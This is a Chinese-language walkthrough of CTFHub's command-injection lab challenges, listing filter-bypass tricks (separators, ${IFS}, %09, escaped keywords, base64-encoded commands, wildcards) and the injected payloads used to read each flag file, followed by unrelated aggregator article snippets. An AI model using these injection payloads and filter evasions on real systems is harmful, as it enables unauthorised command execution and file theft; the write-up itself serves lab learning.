CTFHUB RCE作业

题目地址:CTFHub

完成情况如图:

知识点:

  • preg_match_all 函数
    • 正则匹配函数
    • int preg_match_all ( string $pattern , string $subject [, array &$matches [, int $flags = PREG_PATTERN_ORDER [, int $offset = 0 ]]] )搜索 subject 中所有匹配 pattern 给定正则表达式的匹配结果并且将它们以 flag 指定顺序输出到 matches 中。在第一个匹配找到后, 子序列继续从最后一次匹配位置搜索。$pattern: 要搜索的模式,字符串形式。$subject: 输入字符串。$matches: 多维数组,作为输出参数输出所有匹配结果, 数组排序通过flags指定。$flags:可以结合下面标记使用(注意不能同时使用PREG_PATTERN_ORDER和 PREG_SET_ORDER):1.PREG_PATTERN_ORDER: 结果排序为$matches[0]保存完整模式的所有匹配, $matches[1] 保存第一个子组的所有匹配,以此类推。2.PREG_SET_ORDER: 结果排序为$matches[0]包含第一次匹配得到的所有匹配(包含子组), $matches[1]是包含第二次匹配到的所有匹配(包含子组)的数组,以此类推。3.PREG_OFFSET_CAPTURE: 如果这个标记被传递,每个发现的匹配返回时会增加它相对目标字符串的偏移量。offset: 通常, 查找时从目标字符串的开始位置开始。可选参数offset用于 从目标字符串中指定位置开始搜索(单位是字节)。

    • 四个参数(参数1和参数2是必要参数,参数3和参数4为附加参数)
      • 参数1:匹配规则
      • 参数2:需要匹配的字符串
      • 参数3:存储匹配信息的变量
      • 参数4:设定参数3结果的排序形式
    • 返回完整匹配次数;可以为0;失败返回false
       
  • 命令连接符
    • |
      • 只打印后面的命令内容,管道符:前面输出作为后面输入
      • windows linux 通用
    • ||
      • windows linux 通用
      • 有真即为真,前面为真后面不执行,前面为假后面执行
    • &
      • windows linux 通用
      • 前后两条命令都执行
    • &&
      • windows linux 通用
      • 有假即为假;前面为真则后面执行,前面为假,则后面不执行
      • linux专有
      • 表示命令的结束
  • cat 被过滤了
    • 替换方法如下
    • more:一页一页的显示档案内容
      less:与 more 类似
      head:查看头几行
      tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
      tail:查看尾几行
      nl:显示的时候,顺便输出行号
      od:以二进制的方式读取档案内容
      vi:一种编辑器,这个也可以查看
      vim:一种编辑器,这个也可以查看
      sort:可以查看
      uniq:可以查看
      file -f:报错出具体内容
      sh /flag 2>%261 //报错出文件内容
  • 空格被过滤了
    • %09(url传递)(cat%09flag.php)
      ${IFS}
      $IFS$9
      <>(cat<>/flag)
      <(cat</flag)
      {cat,flag}
  • 目录分隔符被过滤了
    • 利用命令衔接性绕过,多管道命令
      • cat 1/2 === cd 1;cat 2;
    • 反引号绕过
      • cat `ls`
      • 反引号会执行ls命令,cat读取ls执行后的所有文件内容
  • 运算符过滤了(& |)
    • ;     分号
    • %0a     换行
    • %0d     回车
  • 关键字被过滤了 cat flag ctfhub等
    • 转义符号
      • \ :ca\t fl\ag  \符号在解析过程中会直接当成转义符号处理,直接省略了
        '':cat fla''g  闭合的单引号相当于空字符
    • 拼接法
      • a=fl;b=ag;cat$IFS$a$b
    • 空变量绕过
      • $* $@ $x ${x}
      • ca$*t flag
        ca$@t flag
        ca$7t flag
        ca${7}t flag
    • 编码绕过
      • cat 的base64编码为:Y2F0Cg== 或 Y2F0
        即 echo 'cat' |base64同理可以逆过程:
        echo 'Y2F0Cg=='|base64 -d
        实际执行需要用到反引号:
        `echo 'Y2F0Cg=='|base64 -d` flag文件

      • 8进制
      • 16进制
    • 正则绕过
      • ?:匹配一个字符
      • *  :匹配多个字符
      • cat ?la*    ---->可以读取flag文件

下面写一下命令执行分支的通关笔记

命令注入

开启环境进入界面发现是一个ip输入界面

这里可以看到源码,发现用到了exec()函数,对输入没有进行任何过滤

结果被执行后又输入到了前端界面上

构造payload:127.0.0.1|ls

成功回显出了当前目录下的文件

发现了一个可疑的文件:18114228857270.php

查看一下该文件信息

构造payload:127.0.0.1|cat 18114228857270.php

发现返回值为空,这就奇怪了,怎么可能啥也没有呢???

F12查看源码才发现是一段被注释的php代码,刚好是flag,复制flag即通关了

针对这种为空的情况可以使用编码读取,这样可以完整读取文件内容

构造payload:127.0.0.1|cat 18114228857270.php|base64

这样回显时base64编码的内容,到时候再解码一下也可以

过滤cat

进入界面,查看源码发现对cat继续了过滤

查看当前目录下的文件

构造payload:127.0.0.1|ls

发现了敏感文件:flag_127461393303.php

使用cat查看一下该文件内容

构造payload:127.0.0.1|cat flag_127461393303.php

输出结果为cat,说明确实对cat进行了过滤

cat虽然被过滤了,但是可以利用其他命令来代替

tac、head、tail等都可以进行读取

构造payload:127.0.0.1|head flag_127461393303.php

注意:head tail 默认只能读取10行,不过在这里就够用了,tac相当于倒序读取文件内容并倒序输出;这里用哪个都行

源码中找到flag,复制该元素然后粘贴一下就能取出注释的信息了

过滤空格

开始环境,进入界面,查看源码发现对空格进行了过滤

查看当前目录下的文件信息

构造payload:127.0.0.1|ls

发现了敏感文件:flag_125841720517495.php

查看该文件的内容

构造payload:127.0.0.1|cat%09flag_125841720517495.php

注意:%09是在url框中修改的,而不是直接在输入框中输入,因为这是url编码,如果在ip输入框中输入会进行二次url编码,%09为tab键的url编码,无法直接输入

过滤目录分隔符

进入环境查看源码发现 / 符号被过滤了

查看当前目录下的文件

构造payload:127.0.0.1|ls

发现出了一个目录 flag_is_here

接着查看该目录下的文件信息

构造payload:127.0.0.1|ls flag_is_here

找到了flag文件:flag_8317178653643.php

既然目录分隔符已经被过滤了,那么只能按顺序执行命令读取了

首先到flag_is_here文件目录下,然后读取flag_8317178653643.php文件内容

构造payload:127.0.0.1;cd flag_is_here;cat flag_8317178653643.php;

成功读取到了flag文件的内容

过滤运算符

进入环境,发现源码中对& | 符号进行了过滤

查看当前目录下的文件信息

构造payload:127.0.0.1;ls

发现了敏感文件:flag_1140880316259.php

这里使用%0a也可以实现命令结束的效果,但是得在url导航栏中进行操作

构造payload:ip=127.0.0.1%0als

接下来查看敏感文件的内容

构造payload:127.0.0.1;cat flag_1140880316259.php

成功得到了flag

综合过滤练习

进入环境,发现源码中对& | 空格 / cat flag ctfhub进行了过滤

对命令连接符都进行了过滤,但是可以使用回车换行进行操作,这里需要在url地址栏进行操作

读取当前目录下的文件信息

构造payload:127.0.0.1%0als

获取到了一个目录文件:flag_is_here

读取该目录下的文件信息

构造payload:ip=127.0.0.1%0als%09fla\g_is_here#

成功获取到了敏感文件:flag_210412363721473.php

接下来开始读取文件内容

构造payload:ip=127.0.0.1%0acd%09fl\ag_is_here%0atac%09fla\g_210412363721473.php#

成功读取到了flag

10

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/313309.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Django第三方功能的使用

Django第三方功能的使用 Django REST framework前言1、Django--Restframework--coreapi版文档BUG:AssertionError: coreapi must be installed for schema support.How to run Django with Uvicorn webserver?2、序列化类 Serializer的使用模型序列化类 ModelSerializer的使用…

linux 安装openjdk-1.8

安装命令 yum install java-1.8.0-openjdk-1.8.0.262.b10-1.el7.x86_64查看安装路径 find / -name java 默认的安装路径 /usr/lib/jvm 查看到jre 以及java-1.8.0-openjdk-1.8.0.262.b10-1.el7.x86_64 配置环境变量 vim /etc/profile 添加的内容 export JAVA_HOME/usr/li…

【面试经典 150 | 二分查找】寻找两个正序数组的中位数

文章目录 写在前面Tag题目来源题目解读方法一&#xff1a;朴素方法二&#xff1a;二分查找【寻找第k小元素】 写在最后 写在前面 本专栏专注于分析与讲解【面试经典150】算法&#xff0c;两到三天更新一篇文章&#xff0c;欢迎催更…… 专栏内容以分析题目为主&#xff0c;并附…

[大模型]Qwen-7B-hat Transformers 部署调用

Qwen-7B-hat Transformers 部署调用 环境准备 在autodl平台中租一个3090等24G显存的显卡机器&#xff0c;如下图所示镜像选择PyTorch–>2.0.0–>3.8(ubuntu20.04)–>11.8 接下来打开刚刚租用服务器的JupyterLab&#xff0c;并且打开其中的终端开始环境配置、模型下…

华为机考入门python3--(15)牛客15-求int型正整数在内存中存储时1的个数

分类&#xff1a;二进制 知识点&#xff1a; int转二进制 binary bin(n)[2:] 题目来自【牛客】 def count_ones_in_binary(n): # 将输入的整数转换为二进制字符串 # bin(n)为0b11011binary bin(n)[2:]# 初始化计数器为0 count 0 # 遍历二进制字符串的每一位 fo…

LoRA模型是什么?

AI Agent能力评测工具AgentBench评测结果 LoRA模型是什么&#xff1f; LoRA模型&#xff08;Low-Rank Adaptation of Large Language Models&#xff09;是一种针对大型语言模型&#xff08;LLMs&#xff09;的微调技术&#xff0c;其目的是在保持模型原有性能的基础上&#x…

YOLTV8 — 大尺度图像目标检测框架(欢迎star)

YOLTV8 — 大尺度图像目标检测框架【ABCnutter/YOLTV8: &#x1f680;】 针对大尺度图像&#xff08;如遥感影像、大尺度工业检测图像等&#xff09;&#xff0c;由于设备的限制&#xff0c;无法利用图像直接进行模型训练。将图像裁剪至小尺度进行训练&#xff0c;再将训练结果…

未来课堂革命:OpenAI 发布 ChatGPT 使用指南,探索生成式 AI 如何重塑教育景观

随着新学期的来临&#xff0c;众多初登教师舞台的 00 后们&#xff0c;也完成了他们的第一个教师身份下的暑期生活。 对于开学的抵触情绪&#xff0c;不仅学生们普遍存在&#xff0c;许多 00 后的新晋教师们也同样感同身受。某种程度上&#xff0c;这些抗拒上班的年轻教师群体…

Springboot+Vue项目-基于Java+MySQL的高校心理教育辅导系统(附源码+演示视频+LW)

大家好&#xff01;我是程序猿老A&#xff0c;感谢您阅读本文&#xff0c;欢迎一键三连哦。 &#x1f49e;当前专栏&#xff1a;Java毕业设计 精彩专栏推荐&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb; &#x1f380; Python毕业设计 &…

【面试题】MySQL 事务的四大特性说一下?

事务是一个或多个 SQL 语句组成的一个执行单元&#xff0c;这些 SQL 语句要么全部执行成功&#xff0c;要么全部不执行&#xff0c;不会出现部分执行的情况。事务是数据库管理系统执行过程中的一个逻辑单位&#xff0c;由一个有限的数据库操作序列构成。 事务的主要作用是保证数…

金蝶云星空与金蝶云星空对接集成委外超耗查询连通生产订单变更(发顺丰)

金蝶云星空与金蝶云星空对接集成委外超耗查询连通生产订单变更(发顺丰) 对接系统金蝶云星空 金蝶K/3Cloud在总结百万家客户管理最佳实践的基础上&#xff0c;提供了标准的管理模式&#xff1b;通过标准的业务架构&#xff1a;多会计准则、多币别、多地点、多组织、多税制应用框…

FPGA - ZYNQ 基于EMIO的PS和PL交互

前言&#xff1a; Xilinx ZYNQ系列的芯片&#xff0c;GPIO分为 MIO 、EMIO、AXI_GPIO三种方式。 MIO &#xff1a;固定管脚&#xff0c;属于PS端&#xff0c;也就是ARM端。 EMIO &#xff1a;通过PL扩展&#xff0c;使用时需要分配PL(FPGA)管脚&#xff0c;消耗PL端资源。…

【GPT-4最新研究】GPT-4与科学探索:揭秘语言模型在科学领域的无限可能

各位朋友们&#xff0c;你们知道吗&#xff1f;自然语言处理领域最近取得了巨大的突破&#xff01;大型语言模型&#xff08;LLM&#xff09;的出现&#xff0c;简直就像打开了新世界的大门。它们不仅在语言理解、生成和翻译方面表现出色&#xff0c;还能涉足许多其他领域&…

二叉树的中序遍历 - LeetCode 热题 36

大家好&#xff01;我是曾续缘&#x1f603; 今天是《LeetCode 热题 100》系列 发车第 36 天 二叉树第 1 题 ❤️点赞 &#x1f44d; 收藏 ⭐再看&#xff0c;养成习惯 二叉树的中序遍历 给定一个二叉树的根节点 root &#xff0c;返回 它的 中序 遍历 。 示例 1&#xff1a; 输…

React-路由(一)

​&#x1f308;个人主页&#xff1a;前端青山 &#x1f525;系列专栏&#xff1a;React篇 &#x1f516;人终将被年少不可得之物困其一生 依旧青山,本期给大家带来React篇专栏内容:React-路由&#xff08;一&#xff09; 目录 1、介绍 2、路由的使用 2.1、相关组件 2.2、声…

白话微机:10.民风淳朴的MCS-51小镇(小镇方言:汇编)

1. 基本结构与周期 MCS-51系列单片机属于8位单片机用 8051单片机构成最小应用系统时&#xff0c;只要将单片机接上时钟电路和复位电路即可MCS-51单片机由CPU、存储器和I/O三部分组成CPU是指&#xff1a;运算器和控制器 “PC CPU 3BUS RAM I/O” 在执行指令过程中&#xff…

财富池指标公式--通达信免费指标公式源码合集--第四期

久等了&#xff0c;今天这期通达信免费指标公式合集如约而至&#xff0c;依旧是三个不同功能的技术指标&#xff0c;看看有没有你正在找的吧&#xff01; 一、通达信背离出黑马指标&#xff0c;背离趋势分析指标源码 ​ ​具体信号说明&#xff1a; 1、出现底背离为买入信号…

计算机视觉——基本矩阵的计算

最近在上研究生的课程《计算机视觉》&#xff0c;完成了老师布置的大作业&#xff0c;结合我看《计算机视觉中的多视图几何》的一些感悟和收获完成此篇博客。在学习的过程中我发现很多算法并没有开源&#xff0c;或者版本太落后难以执行&#xff0c;因此想通过这篇博客将一些算…

ELK及ELFK排错

目录 一、ELK及ELFK排错思路 1.1filebeat侧排查 1.2logstash侧排查 1.3ES、kibana侧问题 一、ELK及ELFK排错思路 1.1filebeat侧排查 第一步&#xff1a;排查filebeat上的配置文件有没有写错&#xff0c;filebeat的配置文件是yml文件&#xff0c;一定要注意格式。 第二步…

WebKit内核游览器

WebKit内核游览器 基础概念游览器引擎Chromium 浏览器架构Webkit 资源加载这里就不得不提到http超文本传输协议这个概念了&#xff1a; 游览器多线程HTML 解析总结 基础概念 百度百科介绍 WebKit 是一个开源的浏览器引擎&#xff0c;与之相对应的引擎有Gecko&#xff08;Mozil…